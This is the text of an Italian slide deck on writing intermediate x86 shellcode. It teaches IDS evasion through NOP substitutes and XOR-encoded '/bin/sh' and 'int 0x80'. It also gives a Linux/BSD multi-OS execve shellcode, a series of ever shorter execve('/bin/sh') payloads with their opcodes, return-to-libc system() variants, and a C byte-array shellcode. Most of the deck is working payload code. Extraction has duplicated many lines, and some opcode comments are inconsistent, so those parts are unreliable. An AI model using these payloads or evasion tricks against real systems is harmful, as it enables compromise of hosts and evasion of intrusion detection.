webbit How to write a shellcode (intermediate) Alberto Ornaghi Lorenzo Cavallaro
webbit Table of contents IDS evasion IDS evasion Shellcode multiOS Shellcode multiOS Shortest shellcode Shortest shellcode Shellcode non rilocabili Shellcode non rilocabili goodies & fun goodies & fun
webbit IDS evasion
webbit Il problema dei NOP 0x90 Gli IDS intercettano blocchi di nop consecutivi Gli IDS intercettano blocchi di nop consecutivi Ottenere lo stesso risultato ma con operazioni differenti Ottenere lo stesso risultato ma con operazioni differenti Metodo jmp 0x02 Metodo jmp 0x02 Metodo inc %eax o similari Metodo inc %eax o similari
webbit Intercettazione di /bin/sh E possibile scrivere uno shellcode senza luso della stringa /bin/sh esplicita E possibile scrivere uno shellcode senza luso della stringa /bin/sh esplicita Metodo XOR Metodo XOR /bin/sh\02F E 2F alorgigi61 6C 6F xor4E 0E 06 1C 48 1A 0F 69
webbit Intercettazione di int 0x80 Lo stesso metodo usato per le stringhe, puo essere usato per le istruzioni che compongono lo shellcode stesso. Lo stesso metodo usato per le stringhe, puo essere usato per le istruzioni che compongono lo shellcode stesso. Utilizzare due valori che uniti in xor diano cd 80 Utilizzare due valori che uniti in xor diano cd 80
webbit Shellcode multiOS
webbit Shellcode multiOS Lo scopo del gioco e quello di creare uno shellcode che funzioni sia su linux che su bsd. Lo scopo del gioco e quello di creare uno shellcode che funzioni sia su linux che su bsd. Problemi: Problemi: –Linux prende i parametri delle syscall dai registri –BSD prende i parametri delle syscall dallo stack –Linux usa 0xb in %eax per la execve –BSD usa 0x3b in %eax per la execve
webbit Shellcode multiOS Per il problema dei parametri… Per il problema dei parametri… Possiamo mettere i parametri sia nei registri che sullo stack. In questo modo entrambi i sistemi operativi troveranno quello che cercano. Possiamo mettere i parametri sia nei registri che sullo stack. In questo modo entrambi i sistemi operativi troveranno quello che cercano.
webbit Shellcode multiOS Per il problema del valore di %eax… Per il problema del valore di %eax… Ce la necessita di eseguire un controllo a run-time sul tipo di sistema ospitante. Ce la necessita di eseguire un controllo a run-time sul tipo di sistema ospitante. Come fare ? Come fare ?
webbit Shellcode multiOS Sotto linux il registro speciale %fs e sempre nullo, mentre su BSD viene utilizzato normalmente come registro selettore di segmento (data) Sotto linux il registro speciale %fs e sempre nullo, mentre su BSD viene utilizzato normalmente come registro selettore di segmento (data) E sufficiente quindi un controllo su questo registro per distinguere i due sistemi E sufficiente quindi un controllo su questo registro per distinguere i due sistemi
webbit Shellcode multiOS Un po di codice… Un po di codice… movl %fs, %eax movl %fs, %eax and %eax, %eax and %eax, %eax je linux je linux movb $0x3b, %al movb $0x3b, %al jmp bsd jmp bsd linux: linux: movb $0xb, %al movb $0xb, %al bsd: bsd:
webbit Shortest Shellcode
webbit Shellcode classico (38 b) jmp string_addr # 0xeb 0x18 after_jmp: pop %edi # 0x5f xorl %eax, %eax # 0x31 0xc0 movb %al, 0x7(%edi) # 0x88 0x47 0x07 movl %edi, 0x8(%edi) # 0x89 0x7f 0x08 movl %eax, 0xc(%edi) # 0x89 0x47 0x0c lea 0xc(%edi), %edx # 0x8d 0x57 0x0c lea 0x8(%edi), %ecx # 0x8d 0x4f 0x08 mov %edi, %ebx # 0x89 0xfb movb $0xb, %al # 0xb0 0x0b int $0x80 # 0xcd 0x80 string_addr: call after_jmp # 0xe8 0xde 0xff 0xff 0xff.string \"/bin/sh\"
webbit Shellcode ottimizzato (36 b) jmp string_addr # 0xeb 0x16 after_jmp: pop %ebx # 0x5b xorl %eax, %eax # 0x31 0xc0 movb %al, 0x7(%ebx) # 0x88 0x43 0x07 movl %edi, 0x8(%ebx) # 0x89 0x5b 0x08 movl %eax, 0xc(%ebx) # 0x89 0x43 0x0c lea 0xc(%ebx), %edx # 0x8d 0x53 0x0c lea 0x8(%ebx), %ecx # 0x8d 0x4b 0x08 movb $0xb, %al # 0xb0 0x0b int $0x80 # 0xcd 0x80 string_addr: call after_jmp # 0xe8 0xe0 0xff 0xff 0xff.string \"/bin/sh\"
webbit Nuovo metodo di costruzione per /bin/sh Consideriamo la stringa /bin/sh come sequenza di numeri esadecimali Consideriamo la stringa /bin/sh come sequenza di numeri esadecimali / b i n / s h / b i n / s h 2f e 2f Possiamo fare push 0x6e69622f Possiamo fare push 0x6e69622f
webbit Nuovo metodo di costruzione per /bin/sh Problema: la stringa e di 7 caratteri (disallineata) Problema: la stringa e di 7 caratteri (disallineata) Soluzione: usiamo la stringa //bin/sh Soluzione: usiamo la stringa //bin/sh push $0x68732f6e # n/sh push $0x69622f2f # //bi
webbit Nuovo shellcode (25 b) xorl %eax, %eax # 31 c0 xorl %eax, %eax # 31 c0 push %eax # 50 push %eax # 50 push $0x68732f6e # 68 6e 2f push $0x68732f6e # 68 6e 2f push $0x69622f2f # 68 2f 2f push $0x69622f2f # 68 2f 2f movl %esp, %ebx # 89 e3 movl %esp, %ebx # 89 e3 push %eax # 50 push %eax # 50 movl %esp, %edx # 89 e2 movl %esp, %edx # 89 e2 push %ebx # 53 push %ebx # 53 movl %esp, %ecx # 89 e1 movl %esp, %ecx # 89 e1 movb $0xb, %al # b0 0b movb $0xb, %al # b0 0b int $0x80 # cd 80 int $0x80 # cd 80
webbit Shellcode (24 b) © awgn & quequero xorl %edx, %edx # 31 d2 xorl %edx, %edx # 31 d2 push %edx # 52 push %edx # 52 push $0x68732f6e # 68 6e 2f push $0x68732f6e # 68 6e 2f push $0x69622f2f # 68 2f 2f push $0x69622f2f # 68 2f 2f movl %esp, %ebx # 89 e3 movl %esp, %ebx # 89 e3 push %edx # 53 push %edx # 53 push %ebx # 53 push %ebx # 53 movl %esp, %ecx # 89 e1 movl %esp, %ecx # 89 e1 lea 0xb(%edx), %eax # 8d 42 0b lea 0xb(%edx), %eax # 8d 42 0b int $0x80 # cd 80 int $0x80 # cd 80
webbit Shellcode (24 b) © awgn & queuero lea 0xb(%edx), %eax # 8d 42 0b lea 0xb(%edx), %eax # 8d 42 0b lea spiazzamento(base), destinazione lea spiazzamento(base), destinazione In questo caso %edx e NULL quindi lindirizzo assoluto caricato in %eax e b In questo caso %edx e NULL quindi lindirizzo assoluto caricato in %eax e b
webbit Shellcode (23 b) © buffer & alor push $0x0b # 6a 0b push $0x0b # 6a 0b pop %eax # 58 cdq # 99 push %edx # 52 push %edx # 52 push $0x68732f6e # 68 6e 2f push $0x68732f6e # 68 6e 2f push $0x69622f2f # 68 2f 2f push $0x69622f2f # 68 2f 2f movl %esp, %ebx # 89 e3 movl %esp, %ebx # 89 e3 push %edx # 53 push %edx # 53 push %ebx # 53 push %ebx # 53 movl %esp, %ecx # 89 e1 movl %esp, %ecx # 89 e1 int $0x80 # cd 80 int $0x80 # cd 80
webbit Shellcode (23 b) © buffer & alor push $0x0b # 6a 0b push $0x0b # 6a 0b pop %eax # 58 cdq # 99 CDQ estende il bit di segno di %eax in %edx. CDQ estende il bit di segno di %eax in %edx. In questo caso %eax contiene b, quindi il bit piu significativo e 0, come conseguenza %edx viene azzerato In questo caso %eax contiene b, quindi il bit piu significativo e 0, come conseguenza %edx viene azzerato
webbit Shellcode (22 b) © ???? La sfida e aperta…
webbit Shellcode non rilocabili (salto in libc)
webbit Salto in Libc Invece di invocare direttamente il kernel attraverso la syscall, e possibile usare una funzione della libc Invece di invocare direttamente il kernel attraverso la syscall, e possibile usare una funzione della libc Questo metodo rende lo shellcode non rilocabile, poiche lindirizzo della funzione varia da sistema a sistema. Questo metodo rende lo shellcode non rilocabile, poiche lindirizzo della funzione varia da sistema a sistema.
webbit Indirizzo della funzione Supponiamo di volere trovare lindirizzo di system() Supponiamo di volere trovare lindirizzo di system() nm /lib/libc.so.6 nm /lib/libc.so.6[…] W system OFFSET […] ldd./dummy ldd./dummy libc.so.6 => /lib/libc.so.6 (0x ) BASE
webbit Shellcode call (13 b) La system vuole un parametro solo La system vuole un parametro solo xorl %eax, %eax # 31 c0 movw $0x6873, %ax # 66 b push %eax # 50 push %esp # 54 call 0x # e8 xx xx xx xx
webbit Shellcode call 2 (12 b) © alor push %fs # 0f a0 pushw $0x6873 # push %esp # 54 call 0x # e8 xx xx xx xx
webbit Rendiamolo piu rilocabile Il salto assoluto viene compilato come relativo, quindi non e possibile metterlo in qualsiasi punto dello stack Il salto assoluto viene compilato come relativo, quindi non e possibile metterlo in qualsiasi punto dello stack Escogitiamo uno stratagemma per poterlo spostare sullo stack Escogitiamo uno stratagemma per poterlo spostare sullo stack Usiamo il ret al posto della call Usiamo il ret al posto della call
webbit Shellcode ret (14 b) © gigi sullivan push %fs # 0f a0 pushw $0x6873 # push %esp # 54 push %esp # 54 # fake ret push 0x # 68 xx xx xx xx ret # c3
webbit Goodies & fun
webbit Borg shellcode © alor char shellborg[] = "\x6a\x0b\x58\x99\x52\x68\x6e\x2f\x73\x68\x50\x51" "RESISTANCE.IS.FUTILE.YOU.WILL.BE.EXPLOITED\x4" "\x44\x44\x83\xc4\x24\x59\x58\x4b\x4a\x47\x47\x66" "\x83\xed\x06\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53" "\x89\xe1\xcd\x80"; "\x89\xe1\xcd\x80"; Greetings to Dante © awgn
webbit 'A' inc %ecx 'B'inc %edx 'C'inc %ebx 'D' inc %esp 'E' inc %ebp 'F' inc %esi 'G'inc %edi 'H' dec %eax 'I' dec %ecx […]
webbit Klingon Shellcode © awgn pushl $0x80cd0b42 pushl $0x8de18953 pushl $0x52e38969 pushl $0x622f2f68 pushl $0x68732f6e pushl $0x6852d231 pushl %esp ret
webbit POPA Shellcode © buffer xor %edx,%edx push %edx push $0x68732f6e push $0x69622f2f mov %esp,%ebx push %edx push %ebx mov %esp,%ecx push $0xb push %ecx push %edx push %ebx sub $0x10,%esp popa int $0x80
webbit –Lorenzo Cavallaro –Lorenzo Cavallaro –Alberto Ornaghi –Alberto Ornaghi